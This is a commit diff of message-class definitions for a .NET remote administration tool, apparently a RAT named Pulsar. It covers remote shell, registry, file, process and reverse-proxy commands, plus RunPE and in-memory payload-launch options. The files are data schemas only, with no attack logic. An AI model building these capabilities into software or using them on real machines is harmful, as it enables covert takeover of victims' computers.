initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.Actions
{
[MessagePackObject]
public class DoShutdownAction : IMessage
{
[Key(1)]
public ShutdownAction Action { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class DoPathDelete : IMessage
{
[Key(1)]
public string Path { get; set; }
[Key(2)]
public FileType PathType { get; set; }
}
}
@@ -0,0 +1,19 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class DoPathRename : IMessage
{
[Key(1)]
public string Path { get; set; }
[Key(2)]
public string NewPath { get; set; }
[Key(3)]
public FileType PathType { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class DoZipFolder : IMessage
{
[Key(1)]
public string SourcePath { get; set; }
[Key(2)]
public string DestinationPath { get; set; }
[Key(3)]
public int CompressionLevel { get; set; } = (int)System.IO.Compression.CompressionLevel.Optimal;
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class FileTransferCancel : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string Reason { get; set; }
}
}
@@ -0,0 +1,25 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class FileTransferChunk : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string FilePath { get; set; }
[Key(3)]
public long FileSize { get; set; }
[Key(4)]
public FileChunk Chunk { get; set; }
[Key(5)]
public string FileExtension { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class FileTransferComplete : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string FilePath { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class FileTransferRequest : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string RemotePath { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDirectory : IMessage
{
[Key(1)]
public string RemotePath { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDirectoryResponse : IMessage
{
[Key(1)]
public string RemotePath { get; set; }
[Key(2)]
public FileSystemEntry[] Items { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDrives : IMessage
{
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDrivesResponse : IMessage
{
[Key(1)]
public Drive[] Drives { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class SetStatusFileManager : IMessage
{
[Key(1)]
public string Message { get; set; }
[Key(2)]
public bool SetLastDirectorySeen { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoChangeRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegValueData Value { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoCreateRegistryKey : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
}
}
@@ -0,0 +1,16 @@
using Microsoft.Win32;
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoCreateRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegistryValueKind Kind { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoDeleteRegistryKey : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string KeyName { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoDeleteRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string ValueName { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoLoadRegistryKey : IMessage
{
[Key(1)]
public string RootKeyName { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoRenameRegistryKey : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string OldKeyName { get; set; }
[Key(3)]
public string NewKeyName { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoRenameRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string OldValueName { get; set; }
[Key(3)]
public string NewValueName { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetChangeRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegValueData Value { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetCreateRegistryKeyResponse : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public RegSeekerMatch Match { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetCreateRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegValueData Value { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetDeleteRegistryKeyResponse : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string KeyName { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetDeleteRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string ValueName { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetRegistryKeysResponse : IMessage
{
[Key(1)]
public RegSeekerMatch[] Matches { get; set; }
[Key(2)]
public string RootKey { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,24 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetRenameRegistryKeyResponse : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string OldKeyName { get; set; }
[Key(3)]
public string NewKeyName { get; set; }
[Key(4)]
public bool IsError { get; set; }
[Key(5)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,24 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetRenameRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string OldValueName { get; set; }
[Key(3)]
public string NewValueName { get; set; }
[Key(4)]
public bool IsError { get; set; }
[Key(5)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RemoteShell
{
[MessagePackObject]
public class DoShellExecute : IMessage
{
[Key(1)]
public string Command { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RemoteShell
{
[MessagePackObject]
public class DoShellExecuteResponse : IMessage
{
[Key(1)]
public string Output { get; set; }
[Key(2)]
public bool IsError { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyConnect : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
[Key(2)]
public string Target { get; set; }
[Key(3)]
public int Port { get; set; }
}
}
@@ -0,0 +1,24 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyConnectResponse : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
[Key(2)]
public bool IsConnected { get; set; }
[Key(3)]
public byte[] LocalAddress { get; set; }
[Key(4)]
public int LocalPort { get; set; }
[Key(5)]
public string HostName { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyData : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
[Key(2)]
public byte[] Data { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyDisconnect : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoStartupItemAdd : IMessage
{
[Key(1)]
public StartupItem StartupItem { get; set; }
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoStartupItemRemove : IMessage
{
[Key(1)]
public StartupItem StartupItem { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.StartupManager
{
[MessagePackObject]
public class GetStartupItems : IMessage
{
}
}
@@ -0,0 +1,14 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using System.Collections.Generic;
namespace Pulsar.Common.Messages.Administration.StartupManager
{
[MessagePackObject]
public class GetStartupItemsResponse : IMessage
{
[Key(1)]
public List<StartupItem> StartupItems { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.SystemInfo
{
[MessagePackObject]
public class GetSystemInfo : IMessage
{
}
}
@@ -0,0 +1,14 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using System;
using System.Collections.Generic;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetSystemInfoResponse : IMessage
{
[Key(1)]
public List<Tuple<string, string>> SystemInfos { get; set; }
}
}
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TCPConnections
{
[MessagePackObject]
public class DoCloseConnection : IMessage
{
[Key(1)]
public string LocalAddress { get; set; }
[Key(2)]
public ushort LocalPort { get; set; }
[Key(3)]
public string RemoteAddress { get; set; }
[Key(4)]
public ushort RemotePort { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TCPConnections
{
[MessagePackObject]
public class GetConnections : IMessage
{
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.TCPConnections
{
[MessagePackObject]
public class GetConnectionsResponse : IMessage
{
[Key(1)]
public TcpConnection[] Connections { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessDump : IMessage
{
[Key(1)]
public int Pid { get; set; }
}
}
@@ -0,0 +1,30 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessDumpResponse : IMessage
{
[Key(1)]
public bool Result { get; set; }
[Key(2)]
public string DumpPath { get; set; }
[Key(3)]
public long Length { get; set; }
[Key(4)]
public int Pid { get; set; }
[Key(5)]
public string ProcessName { get; set; }
[Key(6)]
public string FailureReason { get; set; }
[Key(7)]
public long UnixTime { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessEnd : IMessage
{
[Key(1)]
public int Pid { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessResponse : IMessage
{
[Key(1)]
public ProcessAction Action { get; set; }
[Key(2)]
public bool Result { get; set; }
}
}
@@ -0,0 +1,36 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessStart : IMessage
{
[Key(1)]
public string DownloadUrl { get; set; }
[Key(2)]
public string FilePath { get; set; }
[Key(3)]
public bool IsUpdate { get; set; }
[Key(4)]
public bool ExecuteInMemoryDotNet { get; set; }
[Key(5)]
public bool UseRunPE { get; set; }
[Key(6)]
public string RunPETarget { get; set; }
[Key(7)]
public string RunPECustomPath { get; set; }
[Key(8)]
public byte[] FileBytes { get; set; }
[Key(9)]
public string FileExtension { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoSetTopMost : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Enable { get; set; } // true = make topmost, false = remove
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoSetWindowState : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Minimize { get; set; } // true = minimize, false = restore
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
[MessagePackObject]
public class DoSuspendProcess : IMessage
{
[Key(1)]
public int Pid { get; set; }
[Key(2)]
public bool Suspend { get; set; } // true = suspend, false = resume
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class GetProcesses : IMessage
{
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class GetProcessesResponse : IMessage
{
[Key(1)]
public Process[] Processes { get; set; }
[Key(2)]
public int? RatPid { get; set; }
}
}